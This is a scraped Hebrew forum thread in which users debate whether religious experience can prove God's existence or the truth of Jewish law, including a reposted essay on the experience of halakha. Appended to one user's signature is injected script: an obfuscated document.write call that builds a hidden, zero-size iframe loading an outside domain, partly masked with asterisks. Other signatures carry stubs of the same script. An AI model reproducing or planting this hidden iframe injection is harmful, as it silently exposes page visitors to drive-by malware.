בית פורומים עצור כאן חושבים

החוויה הדתית. דרכי הזיהוי והטיפול.

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-25/6/2012 01:04 לינק ישיר 

אלי

צר לי שהתאכזבת. אבל זה טוב. זה סימן שהיו לך תקוות. כלומר שאתה עדיין מחפש. ובעיני, עובדת החיפוש היא נתון קיומי לגבינו, ומתוכו יש ללמוד שאם אנו מחפשים, זה לא חיפוש אבוד מראש, זו לא טעות של כישורים שמשמשים במקום הלא נכון. אלא עדות לכך שה' נטע בנו את הרצון, הצורך והיכולת לחפש אחריו. ואם חשים זאת אז יודעים זאת. והנה סוג של חויה דתית. שאותה אף ניתן לתרגם לטיעון (אבל לא טיעון שאין עליו תשובה).

החויה ודאי מוכיחה רק את עצמה. אבל עבור האדם החווה היא גם מקור לאמון. לפעמים היא הרבה יותר, כמו עבור התם של ר' נחמן שזכה לחויה אבידנטית. אבל אני, בניגוד לתם של ר' נחמן, איני יכול להתיימר לחויה כזו. זה לא אומר שחויה פחות אבידנטית וחויה שיותר זקוקה לפרשנות (שהיא מטבעה לא מוכחת לגמרי) היא חסרת ערך. שים לב לנקודה זו.

ברור שאדם יכול לחוות ולחשוב שזה אלוקים ובעצם זה משהו אחר לגמרי. לפי הבדיחה, ואולי לא רק לפי הבדיחה, יש מאושפזים כאלו. אבל לא צריך להיות מאושפז ומוגדר כחולה נפש כדי לטעות.

איני יודע למה התכוונת בהגדרה של ממציא כל נמצא. אולי לטיעון הקוסמולוגי של רס"ג? אני מסכים שהחויה אינה תחליף, והיא הוכחה מסוג אחר, אם בכלל.

לגבי נוראות של חויה, צריך לאפיין יותר למה אתה מתכוון.

לפי החויה שרודולף אוטו מתאר, הנוראות, הפחד, תחושת האשם אפילו, הן חלק מחווית האינסופי. אבל הן סימן לגדולתו מול הקטנות הבלתי נמנעת של האדם. זה לא הופך את האל לרע או את האדם לרע. יש כאן משהו אונטולוגי.

מי שלגביו החויה של מפגש עם אלוקים היא דכאונית, אולי יש לחשוש שהוא עמוס בעבירות, ולכן רע לו לעמוד מול עצמו? ראה את התיאור היפה של הרב סולוביצ'יק (אולי בספר על יום כיפור?) על התחושה הקיומית הקשה המלוה את תודעת החטא. איני אומר שזה ההסבר היחיד, אבל כדאי לזכור גם את האפשרות הזו. כאשר אנו מצפים מעצמנו למשהו, ונכשלים, אנו עלולים להגיע למצב שבו אנו נגעלים מעצמנו. זה פתולוגי, ולכן צריך לעשות תשובה ולהתרומם משם. לא תמיד יודעים איך לעשות זאת. וכאן הבורות גרועה מן החטא. אבל איני יודע אם דווקא לכך אתה מתכוון. אם יש לך דוגמא לחויה נוראית רעה של התגלות, בבקשה, כתוב ואקרא.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/6/2012 01:24 לינק ישיר 

מיימוני, רוב הפעמים מדברים אליך אבל לא תמיד ;-)
האכזבה של אלי הייתה מכוונת כלפיי.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 02:17 לינק ישיר 

אלי

אגיד לך את האמת, קראתי את האשכול לפחות ארבע פעמים ולא הצלחתי להבין מה הפואנטה שלו.
כללית נושא האשכול מאד מעניין אותי, לצערי אנחנו לא על אותו תדר. בוא ננסה להשתוות.
אנסה לסכם את טענתך במשפט אחד ותגיד לי אם זה אכן מסכם:

החוויה הדתית איננה מוכיחה שיש א-לוהים ושמצוותיו אמת.

וכל שאר מה שכתבת זה נימוקים לטענה זו.
האם הבנתיך?


תוקן על ידי מבקשטוב ב- 25/06/2012 02:26:54




דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 05:50 לינק ישיר 



עד שיבוא אלי ויאשר את המשפט המסכם שהציע צבי, פוסט חדש מהאתר "פני השטח"


חוויה דתית הלכתית

אולי זה קצת יומרני מצדי לדבר על ה'אֶרוֹס' הרוחני, על היחסים האינטימיים יותר שבין הבריאה, בני האדם, והקדוש ברוך הוא, אולי זה קצת נועז לומר משהו על יחסים כאילו היו אלו יחסי זוגיות טריוויאליים, אבל אני פוסע בעקבות דברי הרמב"ם המפורסמים; 'וכיצד היא האהבה הראויה? הוא שיאהב את ה' אהבה גדולה יתירה רבה עזה עד מאוד, עד שתהא נפשו קשורה באהבת ה' ונמצא שוגה בה תמיד, כאלו חולי האהבה שאין דעתם פנויה מאהבת אותה אישה שהוא שוגה בה תמיד, בין בשבתו בין בקומו בין בשעה שהוא אוכל ושותה...'. (משנה תורה, הלכות תשובה, פרק י' הלכה ג'). יש קשר בין אהבת אישה לאהבת ה', הקשר מתבטא ברמת העיסוק ובמחויבות. אישה ממלאת וגודשת את כל תודעתו של חולה האהבה, בכל מצב, בכל רגע, כמו כן, היא מניעה אותו להתמסרות מוחלטת, להתמסרות הֵרוֹאית בשם האהבה. שני אלמנטים אלו קיימים גם ביחסי האדם והאל. העיסוק וההתמסרות.
ועדיין, אפשר לקשר ביניהם? יהיו הרבה שיאמרו שזה גובל בחילול ה'. לְקַשר בין אהבה מינית לאהבה דתית, רוחנית, הרי זה לרדד את השיח הדתי לכדי אפס, הרי זה להוזיל ולהשפיל את גדלותו של האל. רודולף אוטו בספרו 'על הקדושה' מבקש להראות עד כמה ה'אהבה הרוחנית' שונה מן האהבה המינית, בכך שהיא ביטוי של העמידה בפני האי רציונלי והנומינוזי. בעיני בני אדם בכל מקום ההשוואה הזו מעוררת תרעומת, התקוממות. האהבה אל האל קשורה לממד 'רוחני', גבוה, אבסטרקטי, לא ממד חושני, מיני וחומרי כמו ממד האהבה המינית, גימוד קדושתו של האל לכדי ממדים חומריים כאלו הרי זה, בעיני רבים, בנאליזציה של הרוח, של האל. חילול שם שמים.
למה בכל זאת התעוררתי לכל הנושא הזה ולהשוואה המקוממת הזו? למה חשוב לי פתאום להנהיר את דברי הרמב"ם המזעזעים הללו? -ובכן, משום שאני חושב שזה מאוד חיוני בזמננו. לאחרונה שמעתי דברים מפי מרצים ודרשנים שונים על ה'חוויה הדתית', (מושג שנעשה כל כך רווח בשנים האחרונות, כשעדיין לא ברור מה מקורו הרוחני), מדברים על החוויה האקסיסטנציאלית של התנסות רוחנית, ניו אייג'ית, על ה'התחברות' לממדים הבלתי רציונליים שביקום, על הקסם שבמיסטיקה האבסטרקטית, הסימבולית, אפופת המסתורין, על הסובייקטיביזם הנוטף והרָר עסיסים נוצצים של 'אורות'. מאידך גיסא, שוצף את עולמנו הדתי געש כביר של קבליזציה, חסידיזציה, מיסטיציזם זול ורעשני, עולם פרוע של דימויים ושל חוויות גרוש, סימבוליקה זריזה וקלילה המבקשת לסמל בצורה מהירה וחטופה עולמות שלמים ולהדביקם בשצף הקוצף של 'דביקות' וכל כיוצא בזה.
ישנה תחושה עמוקה, מנקרת, מציקה, שהעולם הנורמטיבי היהודי, עולם ההלכה, נרמס, מרוטש בחוסר אונים. ישנה תחושה שכל מה שלא קשור לחוויות ההמוניות והסוחפות של התנסויות רוחניות הוא מיושן ופרימיטיבי. מדברים כיום (וגם בעולם ההלכה עצמו), על היובש של ההלכה כשלעצמה, על הקרירות שלה, על ניתוקה מן הרגש, מן האמוציות, על הניכור שלה כלפי האדם, חוויותיו ומצוקותיו, מדברים עליה כעל חוק נטול חיות, נטול שמחה, נטול רוח. דומני שתחושה זו מקורה בכך שעולם ההלכה המקורי רוטש ונותץ לאחרונה. ההלכה הפסיקה להגשים את עצמה, האדם הדתי ש'מחפש את עצמו' לא 'ימצא את עצמו' יותר בעמקיה, רחביה וחדירותיה של ההלכה אל תוך ההוויה, הוא כבר לא יזהה בהלכה כשלעצמה גורם חיוני, תוסס, גדוש להט. הביטוי הדתי או הרוחני שלו יֵצֵא לאור דווקא באמצעות איזושהי 'התחברות', התבודדות, חוויה מרתקת, תפילות בדביקות חסידית, שקיעות בעולם סימבולי, מאגי, אפוף מסתורין, הידבקות באידיאלים גדולים כמו האומה, הארץ, רבנים או משיח, קודים תנכיי"ם למיניהם, עליה לקברות צדיקים, סגולות וקמיעות וכו' וכו'. אינני מבקש להתייחס לתופעות הללו כשלעצמן, ברצוני לומר כמה מילים על עולם ההלכה המקורי שכמעט ונשכח. ברצוני להראות מה היא ההלכה ומה היא ה'חוויה הדתית' של ההלכה, בלא כל התוספות של שלל הצבעוניים והריחניים הללו.
האם ההלכה כשלעצמה אכן מגלמת את החוק הנוקשה והקר? האם היא אכן מגשימה את היובש השמם של האפשרויות האנושיות? האם היא אכן מתגלמת בתובעניות צרה ורזה, חסרת אופקים, צרת רוח ורוחב? -לא ולא. ההלכה איננה חוק. היא לא סטטית. היא לא משטרה. ההלכה היא 'הלכה', כשמה, היא מתהלכת, נעה ממקום למקום, תזזיתית, אורבת במשמר.
ההלכה מאופיינת בתיאור התוסס של יחזקאל הנביא; 'והחיות רצוא ושוב', על פי פירוש הגמרא במסכת חגיגה (דף י"ג:), כמו להבה שעולה ויורדת, פוגעת ברקיע ואיננה מצליחה להישאר שם, יורדת למטה ושוב מתרפקת אל ה'למעלה', היא באה לידי ביטוי בתיאורים המרתקים של 'שיר השירים', אשר בהם גם האהוב וגם האהובה מחפשים ללא הרף אחד את השני, אולם, כאשר הם מתקרבים סוף סוף זה לזה, אזי 'פשטתי את כותנתי, איככה אלבשנה, רחצתי את רגלי איככה אטנפם', ומן הצד השני 'דודי חמק עבר'. רגע לאחר מכן, החיפושים מתעוררים שוב, כל אחד זועק לעבר השני, מבקש אותו בלילות, בפנסים ובנרות. מה פשר התיאורים הללו? מדוע זה כל כך מסובך, מתוסבך, מורכב?
ההלכה מביאה לידי ביטוי מוקצן את האחריות האנושית, את ה'שאלה', את השהייה לפני ההתפרצות. עפ"י ההסבר של הרמב"ם בחיבורו 'שמונה פרקים', קיום המצוות הוא ריטואל הפונה מעט מדרך האמצע בכדי לשמור על דרך האמצע, ההלכה מבקשת להיות מפוכחת, להתערב בהוויה ולהגיב בתוכה, לאכול אבל להפסיק כשזה טרף, להדליק אור ולהפסיק בשבת, להינשא אבל לשמור על כללים של 'טהרת המשפחה', לשתות אבל לברך לפני כן. ההלכה איננה דוחה את המציאות השגרתית אלא היא מתערבת בה, היא מנווטת אותה, עוצרת אותה, משהה אותה, מחזיקה ומרפה, מתירה ואוסרת, אוסרת ומתירה. ללא הרף.
ההלכה 'חושדת' באדם. היא לא סומכת עליו. האדם הוא יצור תלוש, הוא יכול בקלות להיכנע להלכי האינרציה הקולחים שבו, כך, שעל אף שהוא אדם מרוסן ומחושב, קר רוח ושקול בדעתו, הוא עלול להיתפס לעצמו, למציאות שעטפה אותו, לאידיאלים שחבקו אותו, ולשכוח עולם ומלואו, להֵסָמֵא תחת הגודש הנוצץ המרפד אותו, זה הוא טבעו של אדם. ההלכה מחזירה את האדם ללא הרף למקומו, מבייתת אותו בצורה אינסופית, מפכחת אותו, פוקחת את עיניו, מטלטלת את מעשיו, מזעזעת את הספונטניות השגרתית המתפרצת ממנו.
ההלכה מתערבת, זה פשר תנועת ה'רצוא ושוב'. כאשר האדם אוכל, הוא משתקע באכילתו, מהר מאוד הוא עלול 'לשכוח' הכל, להפוך את האכילה לחזות הכל, (איך אומרים? 'כשאני אוכל, כל העולם מת'-), מהר מאוד הוא יכול לשקוע בעצמו, באנוכיותו המופרזת, באה ההלכה ו'מתערבת' לו בצלחת, תובעת ממנו זהירות, דורשת ממנו לברך ברכת הנהנין. הוא כבר לא יכול להרדם בחיק האכילה, הוא כבר לא יכול להיות בהמה, זולל בבולמוס חייתי. לא, ההלכה התערבה. ובכן, ההלכה מתערבת ומרחיקה אותו מעצמו, אבל, לא מנתקת. ניתוק, כמוהו כשכחה אחרת, 'התקשרות לרוחניות' היא גם שקיעה של האדם בעצמו, ולכן שכחת כל הסביבה באופן טבעי, לכן כאשר האדם מברך ו'שוכח את עצמו', שוכח את האוכל, ההלכה מחזירה אותו אל הקרקע מהר מאוד, מחייבת אותו לאכול! וכך, ללא סוף, חוזר חלילה, מכאן לשם, משם לכאן. אינסוף.
ההלכה היא צורת חיים, אורח חיים. לא בכדי אומר המקרא, 'שש שנים תזרע שדך ושש שנים תזמור כרמך, ובשנה השביעית שבת שבתון לה', שדך לא תקצור וכרמך לא תבצור'. השבת או השמיטה אינם חוקים יבשים, הם אלו שמעניקים את המשמעות ל'שש שנים תעבוד', באמצעות ההשהיה, באמצעות העצירה, ניחנות שש שנות העבודה באופי משלהן, בצורה משלהן, השבת משליכה על העבודה ועל צורתה, היא לא מפסיקה את העבודה ומתנכרת אליה, אלא דווקא מעצבת אותה.
ההלכה איננה אוסף של הוראות, אלא דווקא התמודדות ממשית עם החיים, הפיכת הבנאליות המשעממת של החיים לחיים מלאי יצירה ועשיה, חיים פוריים, תזזיתיים. ההלכה איננה עונה תשובות אלא שואלת שאלות, היא מורחת סימן שאלה גדול על כל תופעה ותופעה בחיים. היא 'ניגשת' אל החיים, מחיה אותם, נוסכת בהם טעם וסיפוק.
החוויה הדתית הנסוכה בעולם ההלכה היא חוויה מסוג עילאי הרבה יותר. בעוד שחוויות מיסטיות שונות נובעות דווקא מהעדר החיים, היינו, חוסר הטעם בחיים האפורים 'כמות שהם', הניסיון להיוותר מרותקים ולמצוא כל היום עולם 'עוד יותר חדש', 'עוד יותר מרתק', בכך שהעולם משעמם ויבש, בכך שהוא 'מזמין' חוויות מסוג אחר, נותרת ההלכה חופשית כשלעצמה, בעולם השגרתיות כשלעצמו, ומחיה אותו, מפיחה בו רוח חיים. ההלכה אומרת לאדם 'איך לעשות', ולא 'מה לעשות'. ההלכה מתייחסת אל האדם בגודלו הטבעי.
חוויה זו איננה 'רציונלית' או 'לא רציונלית', היא משהו אחר לחלוטין. היא לא מביאה לידי ביטוי ממדים של 'הבנה' כאלו ואחרים, יש בה גורם מעצב מבחינה קמאית וראשונית, גורם מעצב של המציאות עצמה, של ההוויה כשלעצמה. החוויה היא ביטוי לתזזיתיות האינסופית שבאדם, פעם למעלה, פעם למטה. זו תקווה. בלעדי התקווה הזו, לא ניתן לעשות דבר.
החוויה של עולם ההלכה איננה נעוצה בתחושה כללית של היעלמות בחיק המסתורין וכיו"ב. החוויה ההלכתית מזמינה משהו מסוג אחר, חוויה הננפחת, הנגדשת, בעשיה הריטואלית, המכאנית והיבשה של החיים עצמם, ההלכה מזריקה רוח לתוך העשיה הזו, הופכת את החיים לתזוזה, לבעבוע. 'רצוא ושוב', ההלכה מטלטלת. סותרת את עצמה.
מכיוון שלא מדובר במנגנון של הוראות, מסקנות ותשובות, אלא במאמץ אינסופי לעשות את הישר, הרי שכל פעולה מנוגדת לפעולה אחרת, כל פעולה היא ריאקציה לשניה, תגובה. עולם של שאלות הוא עולם עשיר משום שהוא לא נגמר, אם תרצו, יש כאן חווית האינסוף, חווית הלימוד. הלימוד הפורה, שאלת השאלות בצורה אינסופית, הופכת את החיים למלאי תוכן, למלאי תסיסה אמוציונאלית ורגשית, למלאי נפח חוויתי. החיים זזים.
כאן אנו חוזרים לאהבת האישה בצורה הטהורה ביותר, להתמסרות ולעומק. ההלכה נמצאת בכל מקום, לב האדם שוגה בה תמיד, כמו כן ההתמסרות אליה היא מעל ומעבר. ההלכה, מצד עצמה, מחדדת ומשנעת את תחושות האהבה הללו, היא הופכת את התשוקה לדבר תוסס, עֵרָני. התשוקה לעולם לא נגמרת, לא מוצאים אותה 'אי שם' באיזשהו אופק מיסטי, אלא דווקא במקומות הקרובים ביותר, הרגישים ביותר, במקומות בהם החיים עצמם מדברים.
כל 'פוסט תשוקה' היא אווירת נכאים. תשוקה שהושלמה היא תשוקה מדוכאת. ההלכה באה להחיות ולהפיח רוח בתשוקה, להכתיר את התשוקה בכתר האינסופיות, התשוקה באה לידי ביטוי בכך שהיא אף פעם לא מתמלאת והיא אף פעם לא תשוקה 'למשהו', לאיזשהו אופק. התשוקה היא תשוקה לעצמה, החיים עצמם. כאן הדמיון לאהבת אישה שאיננו חביב על המיסטיקנים, אהבת אישה היא התשוקה המטורפת ביותר, האכזרית ביותר, העמוקה ביותר. ההלכה גם כן, היא לא מטפסת לגבהים, אלא עוצרת ונעה, מטפסת ויורדת. היא שומרת על אש התשוקה דלוקה ומבעבעת. זה הדימוי גם בשיר השירים. האהבה הנסערת של החיפוש, של ההירתמות, לא הַמְצִיאָה, לא הגשמת התשוקה, אלא האהבה כתשוקה בעוצמתה, כתשוקה בלתי ממולאת, כתשוקה לא רוויה, כתשוקה שעדיין מחפשת.
החוויה של התשוקה בחיפוש היא החוויה הגדולה ביותר, ההֵהָלְכוּת עם ההלכה, עם ה'רצוא ושוב' שלה, עם התנועה המשתוקקת שלה, היא מלאת חיות ועוצמה רוחנית. היא החוויה העמוקה ביותר משום שהיא לעולם לא מתמלאת, היא תמיד בדרך.
כל מיסטיקה אחרת היא ניסיון חיקוי



דדווח על תוכן פוגעני

מנותק
נשלח ב-25/6/2012 09:03 לינק ישיר 

זה נקרא כמו תלמידו של הרב סולוביצ'יק. ולשבח כתבתי.

אמנם אתמהה:

ההֵהָלְכוּת עם ההלכה, עם ה'רצוא ושוב' שלה, עם התנועה המשתוקקת שלה, היא מלאת חיות ועוצמה רוחנית. היא החוויה העמוקה ביותר משום שהיא לעולם לא מתמלאת, היא תמיד בדרך.

העמוקה ביותר מכל החויות? כמדומה שאפילו הגרי"ד לא היה אומר כן.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/6/2012 09:12 לינק ישיר 

"ההלכה מתערבת, זה פשר תנועת ה'רצוא ושוב'. כאשר האדם אוכל, הוא משתקע באכילתו, מהר מאוד הוא עלול 'לשכוח' הכל, להפוך את האכילה לחזות הכל, (איך אומרים? 'כשאני אוכל, כל העולם מת'-),"

הצליחה?
איך היה אומר א"מ ז"ל, אם פגע בך מנוול זה משכהו לבית המדרש, ומשכו אותו.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 10:17 לינק ישיר 

הצליחה להולך בה (זו הגדרה..)



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 11:44 לינק ישיר 

מבקשטוב כתב:
אלי

אגיד לך את האמת, קראתי את האשכול לפחות ארבע פעמים ולא הצלחתי להבין מה הפואנטה שלו.
כללית נושא האשכול מאד מעניין אותי, לצערי אנחנו לא על אותו תדר. בוא ננסה להשתוות.
אנסה לסכם את טענתך במשפט אחד ותגיד לי אם זה אכן מסכם:

החוויה הדתית איננה מוכיחה שיש א-לוהים ושמצוותיו אמת.

וכל שאר מה שכתבת זה נימוקים לטענה זו.
האם הבנתיך?


תוקן על ידי מבקשטוב ב- 25/06/2012 02:26:54



חבר יקר.

רובינו מסכימים עם המשפט הזה.

יתירה מכך. רובינו חושבים שאין כלל צורך לאומר. פשיטא הוא!

אלא שהאשכול נכתב מאחר וישכאלו שחושבים אחרת.

את הדעה האחרת הביע מיימוני בעיקר, ועוד אחרים באשכולות שדנו בהוכחה לאלוקים בכלל ובעיקר לאלוקים היהודי.

ברי, שכל מי שמחזיק בפשטות בדעה כשלי, אין לו הרבה מה לעשות באשכול זה...

ובשולי הדברים:
אודה ולא אבוש כי עצם העלאת הדעה הזו מצד מיימוני, גרמה לי אישית לאכזבה גדולה. כל אחד מאיתנו בונה לעצמו "תמונה" בראש לכל ניק. האחד מקוטלג בראשו כחמור, השני כפילוסוף מבולבל, וכן הלאה.

מיימוני, מאז שהתחלתי לקרוא את דבריו, הן פה והן בעצכ"ח, קוטלג תמיד כראציונאל. אפשר אף לומר כי במסגרת חיפושיי אחר ראיות ליהדות, חיפושים שהתפרשו על פני כמה וכמה שנים וכללו בדיקה רצינית של כל הטענות, לפעמים הוא שימש כ"מגדלור" המסמן בעל חשיבה רציונאלית שלא נרתע מאמת כואבת ולמרות זאת הגיע לנכונותה של היהדות. (אמנם בשים לב לכך שהיהדות שלו והיהדות הקלאסית שונות מאוד).

האכזבה הגדולה נובעת בעיקר מכך שנתברר כי הוד רציונאליותו משתמש בלוגיקה רק בשביל להרחיק את הדעות שהוא לא אוהב. את הדעות והאמונות שבהן הוא עצמו אוחז - לפתע שם כשרים כל אותם כשלים לוגיים, ולפתע הרציונאליות נעלמה.

הכותב וחותם בדמע :-) 



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 13:53 לינק ישיר 

אלי

תודה רבה על המילים הטובות. מתברר שצריך להיכשל כדי לזכות להערכה, לזו שאבדה.

אולי זה יעזור ויתקן את המצב (סמיילי) לעסוק קצת בבירורי מונחים ומושגים.

איני רציונליסט. זאת כיון שהמילה הזו מצביעה, עד כמה שידוע לי, על מי שסבור שהעולם קודם כל תבוני. ועד כמה שידוע לי זה לא כך.

אני כן דוגל ברציונליות. המונח "רציונלי" מציין נאמנות ודגילה בגישה ביקורתית ומסודרת של חשיבה ובדיקה.

הרציונלי לא ישלול ראיות אלא יבדוק אותן. הוא לא ידחה טיעונים לא תקפים רק בגלל שהמסקנה אינה נובעת מן ההנחות. הוא גם יכיר בכך שגישה דיכוטומית היא שטחית. לכן הרציונלי, כפי שאני מבין זאת, לא יטען שיש הוכחה במובן החזק של המילה (הוכחה לוגית) כאשר אין כזו. הרציונלי גם יבקש להצהיר מראש על מידת התוקף שיש ליחס לטיעונים ולטענות.

בכפוף למיגבלות ולקבלות אלו לא נחסמת בפנינו הדרך לבדוק נתונים שאינם ניתנים לבדיקה אמפירית או במעבדה.

חויות דתיות ומיסטיות (וזה לא דבר זהה) והתגלותיות (=נבואיות) הן בעייתיות מבחינות רבות.

ראשית, חויה באשר היא חויה היא דבר פרטי.

אי אפשר לבדוק אם המדווח משקר לנו (לגבי עצם החויה או תכניה)

או לעצמו (בפרשנותו או בזכרונו).

שנית, חויה מטבעה אינה אמורה, לפי מה שידוע לנו, להציג את המציאות ולכן איך היא יכולה להעיד על נתונים כמו מציאות אלוקים, המסורת היהודית לגבי אלוקים (כאן נחוץ מונח טכני. קודם קראו לו "אלוקים היהודי" אבל זה לא שם מוצלח כי יש בו להטעות. כוונתי לאלוקים כפי שהוא מוצג במסורת שלנו)?

ובכל זאת.

יש יותר מסוג אחד של חויה כזו. וניתן לדרג אותן לפי  ציר של היומרה לטענות שלהן.

א. הרמה הנמוכה יותר מבוטאת בכתבי הרב סולוביצ'יק שמוצא דרך החויה מפגש עם אלוקים.

כמובן, לא טענתי מימי שזו הוכחה במובן החזק. אפילו לא מעין, למשל, הטיעון הקוסמולוגי של רס"ג. הטיעון של רס"ג מתיימר להוכיח שיש אלוקים בורא ומסדר והוא תקף. (יש בעיה עם הנחות היסוד שלו, כגון השאלה אם יש ויכול להיות אינסוף בפועל).

אבל זה מה שכתבתי ב"לא להיות דיכוטומיים". אני מכיר את אבי ואמי. אבל היותם אבי ואמי זה דבר קונטיגנטי. אני והם יכולנו (לפי הניסוח המקובל בלוגיקה) לא להיות. אין הכרח לוגי שאבי ואמי יהיו בעלי תכונות אלו ואחרות, או אני. אבל מתוך הנסיון שלי עמהם, מתוך חויות המפגש (זו לשון מוזרה קצת ביחס להורים, אבל זה משל שמוכר לכולנו אז הוא שימושי) אני יודע עליהם.

יכול אדם לבוא ולומר לי: מי אומר שהם באמת כפי שאתה מציג אותם. אולי הם בכלל לא הוריך (אלא, נניח, מאמצים או, במאמץ גדול יותר של הדמיון, חוטפים...). האם יש הכרח לוגי שהמציאות היא כפי שאתה מציג אותה?

בוודאי שלא.

אבל עדיין יש ערך רב למה שמתגלה לי בחויה.

בדומה לזה, ניקח את היחס של אהבה. אדם יכול לספר על אהבתו לפלונית (בתרבות המודרנית זה אפילו מקובל ומומלץ). הוא מסתמך על חויות. הוא מסיק מהן כי גם היא אוהבת אותו. יתכן שהוא טועה. אין לנו גישה ישירה לתכני החויה. אבל לא נסבור שדבריו אינם משמעותיים וגם לא שהם שקר. אם כי הם אינם הכרח לוגי.

כל הדוגמאות האלו באו לקבוע את מקומה של החויה. אין היא "חזקה" כמו טיעון פילוסופי. היא כן בעלת ערך.

לפי דרך זו אני מתייחס לחויות דתיות יהודיות במובן של הרב סולוביצ'יק. אם זה מאכזב אותך שאני נותן להן מקום, מה אעשה. אם אתה טוען כלפי שייחסתי להן חשיבות גדולה מכפי שמגיעה להן לוגית, אזי עלי להבהיר שוב שמימי לא נתכוונתי ליותר ממה שיש בהן. אבל אני גם מבקש לא להמעיט בערכן ובמה שהן כן יכולות לספק, במיגבלות הקיימות.

בעיני, דיון כמו זה שאנו מנהלים כאן הוא כן בירור רציונלי. אם יש כאן משהו יתר או חסר, אתה מוזמן להסביר לי. כמדומה שרציונליות היא גם נכונות להכיר בשגיאות, לבדקן וללמוד מהן.

_______תוקנה שגיאת הקלדה ואגב כך נוספו כמה מילות הבהרה__________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 25/06/2012 13:56:48




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/6/2012 14:39 לינק ישיר 

אתה שוב גולש למכבסת המילים ותו לא.

את דוגמת האב והאם כתבת כבר פעמים מספר במקומות שונים.

כבר אז כתבתי כי ככל ש99% מהעולם היו משוכנעים שהוריך אינם הוריך, בוודאי שהיית בודק זאת, ובוודאי אם בדבר היו תלויים החלטות חורצי גורלות.

במקום להמשיך ולהסתבך, אפשר לפשט ולהתחיל מהתחלה. איזו חוויה בעינך היא ראיה. למה (למא בשווא) היא ראיה ומה הראיה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 16:41 לינק ישיר 

אלי,
עכשיו הבנתי טוב יותר. תודה.

תרשה לי להפוך את הטענה לשתי שאלות:
1. האם החוויה הדתית מוכיחה שיש א-לוהים?
2. האם החוויה הדתית מוכיחה שמצוותיו אמת?


המושג "א-לוהים" בעייתי קצת בדיונים מסוג זה, כי אנשים שונים מגדירים אותו באופן שונה. לכן חשוב מאד קודם כל לעשות התאמת הגדרות.
בשביל לדעת אם מה שאני רואה זה "עץ" אני קודם צריך להגדיר מהו עץ. אם אני מגדיר עץ כ: כל דבר שעושה צל, מספיק שאראה את הצל שלו בשביל לדעת שיש עץ. אך אם אני מגדיר עץ כ:גזע חום עם עלים ירוקים, אז כבר אהיה חייב לראות את העץ בעצמו.

כל חוויה תלויה בפרשנות שלנו לחוויה. אם מישהו קורא לחוויה מסויימת א-לוהים אז כשהוא חווה את החוויה זו הוכחה שיש א-לוהים.

לדוגמא: אם אני מגדיר א-לוהים כ: אינסוף. נראה לי, שכל אדם יכול לחוות את האינסוף של היקום. על כן כשהוא חווה את האינסוף הוא חווה את א-לוהים.
אם אתה מגדיר א-לוהים כ: מצווה מצוות. אתה צריך לשמוע אותו מצווה בשביל לחוות אותו.

כיצד אתה מגדיר "א-לוהים?
וכיצד מיימוני?

~~~

כתבת לי, מה אם אדם מתנהג על פי התורה וסובל מזה, האם זה מוכיח שדרכיה דרכי רוע?
לדעתי, ברור שכן!
אך זה לא יתכן משום שזה "תרתי דסתרי". התורה אומרת שדרכיה דרכי נועם. על כן אם זה לא דרכי נועם זה לא התורה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 16:43 לינק ישיר 

אלי

אני חושב שאת הביטוי "מכבסת מילים" יש לצרף ללכסיקון הפורום.

וייתכנו שני הסברים:

א. שימוש במילים כדי להסתיר חולשה פילוסופית.

כמו "מכבסת כסף".

ב. האשמה לא מבוססת נגד מיימוני המאריך לכתוב.

השאלה היא איזו מכבסה יש כאן.

אולי תוכל לסכם בקיצור היכן הוא באג. מה כובס, מה הוסתר.

למה אני כותב זאת?

כי כתבתי כבר:

מהי החויה בכלל.

כמה דוגמאות לחויות.

מה אני למד מהן.

שזו לא הוכחה שאפשר להעביר לאחרים ואין לה ודאות בלתי ניתנת לערעור (כמו "אני חושב אז אני קיים" של דקארט"). אלא רק גילוי שיכול להיות סובייקטיבי או אשלייתי שהנה, אלוקים מכיר בי, דואג לי, אוהב אותי, תובע ממני חיים של משמעות ואחריות. וכל המסתעף.

(השתדלתי מ-א-ד לקצר כאשר ראית).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/6/2012 16:47 לינק ישיר 

א. א-ל הינו ישות על טבעית אשר יצרה את המציאות המוכרת לנו. (זהו אמנם אל במובן המונותואיסטי אך לצורך העניין דכאן, לו יהי.
ב. א-ל מתערב הוא אל המעוניין במעשינו כאן, משפיע עליהם וולח לנו ד"שים מפעם לפעם.
ג. הא-ל היהודי. א-ל קנא ונוקדם... זוכר עוון.. וכו'. בקיצר זה שנתן לנו תורה ומצוות, החליט שאנו העם הנבחר, ואין אדם נוקף אצבעו וכו'.

ד. בעניין רוע. לא כתבתי מה יהיה עם התוצאה רוע. זה עניין לויכוח אחר. שאלתי מה יקרה באם החוויה תהיה רעה.
מיימוני טען כי עצם זה שהחוויה אצלו טובה מוכיחה כי התורה (?) טובה. שאלתי מה יקרה אם מישהו אחר יחווה רע.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/6/2012 16:50 לינק ישיר 

אלי

קראתי מה שייחסת לי:

מיימוני טען כי עצם זה שהחוויה אצלו טובה מוכיחה כי התורה (?) טובה.

אני?

כיון שאני במדיניות של "קצר מה שיותר" אני מבקש בקשה גדולה. יש כאן שלושה עמודים ומתוכם רוב השורות מן הסתם שלי. העתק בהמשך אותן שורות שבהן אני טוען מה שכתבת, שהחויה היא טובה ולכן מוכח שהתורה טובה.

(איקון נדהם).


_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




